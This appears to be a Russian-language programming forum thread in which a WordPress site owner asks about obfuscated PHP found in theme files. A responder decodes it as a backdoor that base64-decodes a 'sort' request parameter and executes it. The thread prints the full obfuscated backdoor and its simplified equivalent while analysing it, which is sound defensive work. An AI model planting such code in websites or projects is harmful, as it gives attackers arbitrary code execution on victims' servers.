Форум программистов, компьютерный форум, киберфорум
Криптография
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.71/7: Рейтинг темы: голосов - 7, средняя оценка - 4.71
1 / 1 / 0
Регистрация: 17.10.2017
Сообщений: 4
1

Нужно понять что за код может быть. Какой-то зловред залез в файлы шаблона WP

13.06.2019, 16:48. Показов 1284. Ответов 3

Author24 — интернет-сервис помощи студентам
В общем появился в файлах вот такой код.
Думаю что JS, но он в php файлах находится.

Кликните здесь для просмотра всего текста
Javascript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$DtenYtft1006 = "jxp621iwvafm3e.ysb7r_*g/)5lo04d;zqhtun9k(8c";
 
 
$LBCJnrtX7950 = "";
 
foreach([16,27,19,35] as $Z){
       $LBCJnrtX7950 .= $DtenYtft1006[$Z];
    }
 
 
if(isset($REQUEST /*wVrQipvzhKCdRnWtlBpNNGTevhsIIhZtynzCqDcaiIugyGOMkeTiSeWotoIwmKowvZzHslCVdZhDYtzyeZrXRWTTkORCJHwSleufomVjRJMtszeEQpIfJhJQVITcaXxH*/["$LBCJnrtX7950"])){
    $UDhXdHiQ9795 = $_REQUEST /*wVrQipvzhKCdRnWtlBpNNGTevhsIIhZtynzCqDcaiIugyGOMkeTiSeWotoIwmKowvZzHslCVdZhDYtzyeZrXRWTTkORCJHwSleufomVjRJMtszeEQpIfJhJQVITcaXxH*/["$LBCJnrtX7950"];
    $tsPbRjux420 = "";
    $rtWJJMea334 = "";
 
    /*SHvMtiAWPWkGtRxwPjLvpRakEhMSUWWZWDaKWSYDEjnJhtTIpOnDplubQeNffipvURzctXpEnQkgPpjnKMJfiZIlWuHLkOBkLARNJuAYQQbWrFsmXfYaVhQPVeuLjNHt*/
 
    foreach([17,9,16,13,3,29,20,30,13,42,27,30,13] as $Z){
       $tsPbRjux420 .= $DtenYtft1006[$Z];
    }
 
    /*vBdRTlFLmkLfMovFfQgoBIRMOhbeagHVZXipWwCSBXpIarrrfViWbCMdAEBRMTARxLhhSautKeMFiNhwaueXvQANfvVXrYmgOUZsJYfnMEcVkCQVNmTsIyiREFixPySP*/
 
 
    foreach([16,35,19,19,13,8] as $Z){
       $rtWJJMea334 .= $DtenYtft1006[$Z];
    }
 
    /*YvLXspJAIxnEfLtNvxBgOzJoXipqhrsRcrqVWahhyKqHUoPZVcdoOTefjfpDsDLnaGPnsezigrneCkfFqbyQIHsqpvjjxjYcRohYICJCJreUdAoEDtNLvPzTofXjviek*/
 
    $Z = $rtWJJMea334('n'.'o'.''.''.''.''.'i'.''.''.''.'t'.''.''.''.''.'c'.'n'.'u'.'f'.'_'.'e'.'t'.''.''.''.'a'.'e'.''.''.''.''.'r'.''.''.''.''.'c'.''.''.'');
    $l = $Z("", $tsPbRjux420($UDhXdHiQ9795));
    $l();
    exit();
 
}
0
Лучшие ответы (1)
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
13.06.2019, 16:48
Ответы с готовыми решениями:

А может ли быть, что моему ПК не нравится какой-то сайт?
Дело вот в чем: я смотрю многосерийный фильм на одном из сайтов. Во время просмотра я чувствую, что...

Бинарные файлы и компьютеры. Что может быть романтичнее?
Товарищи программисты! Сегодня на моем пути возникла следующая проблема: код проскакивает чтение...

Перезагружается компьютер, может ли быть причина в том, что нужно сменить батарейку BIOS?
Часто во время работы перезагружается компьютер... бывает даже, что он не может загрузить нрабочий...

Скрипт сжимает указанные файлы в zip архив. Мне нужно кое-что понять
import os import time import zipfile target_dir = 'C:\\Users\\Stas\\Desktop' now =...

3
Фрилансер
3705 / 2077 / 567
Регистрация: 31.05.2009
Сообщений: 6,683
14.06.2019, 12:38 2
Код сводится к следующему:

PHP
1
2
3
4
if(isset($REQUEST["sort"])){
    $f = create_function("", base64_decode($REQUEST["sort"]))
    $f()
}
Явная закладка
1
1 / 1 / 0
Регистрация: 17.10.2017
Сообщений: 4
14.06.2019, 14:39  [ТС] 3
Код сводится к следующему:
if(isset($REQUEST["sort"])){
$f = create_function("", base64_decode($REQUEST["sort"]))
$f()
}

Т.е ?
С помощью вашего кода это можно расшифровать как-то ?
0
Фрилансер
3705 / 2077 / 567
Регистрация: 31.05.2009
Сообщений: 6,683
14.06.2019, 14:56 4
Лучший ответ Сообщение было отмечено NobodyH как решение

Решение

Цитата Сообщение от NobodyH Посмотреть сообщение
Т.е ?
Работа Вашего кода, если снять обфускацию, эквивалентна этим строчкам.
Берётся строка из параметров запроса, декодируется base64 и запускается.
Что злодей пришлёт, то и запустится.
Цитата Сообщение от NobodyH Посмотреть сообщение
это можно расшифровать как-то
Там нечего расшифровывать. Всего 3 фишки:
1) Намеренно усложнённые имена переменных
2) Часть строк закодирована через индексирование строки:
- есть строка "jxp621iwvafm3e.ysb7r_*g/)5lo04d;zqhtun9k(8c"
- есть список индексов, например, [16,27,19,35]
- берём буквы из строки по индексам, получаем "sort"
3) Ещё одна строка просто реверсирована, разбита на символы и разбавлена пустыми строками.
1
14.06.2019, 14:56
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
14.06.2019, 14:56
Помогаю со студенческими работами здесь

Подскажите, как увеличить надежность сервера программным и аппаратным методом? Что для этого может быть нужно?
Как увеличить надежность сервера программным и аппаратным методом? Что для этого может быть нужно?

Не получается понять, как первая производная может быть равна -(x/y)
есть функция x^2+y^2=25, все не получается понять как первая производная может быть равна -(x/y)

Какой может быть шифр в картинке
Если в этом изображении зашифровано послание, то что это может быть за шифр? Это не шутка

Не остался ли еще какой либо зловред?
Здравствуйте уважаемые хелперы. В конце августа закончилась пробная версия антивирусной...

Какой максимальной длины может быть URL ?
Вопрос такой. Какой максимальной длины может быть URL. со всеми query string параметрами. Просто...

Какой максимальный размер canvas может быть?
Иными словами, какой сейчас у браузеров максимальный размер данных, передаваемых через toDataURL ?...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
4
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru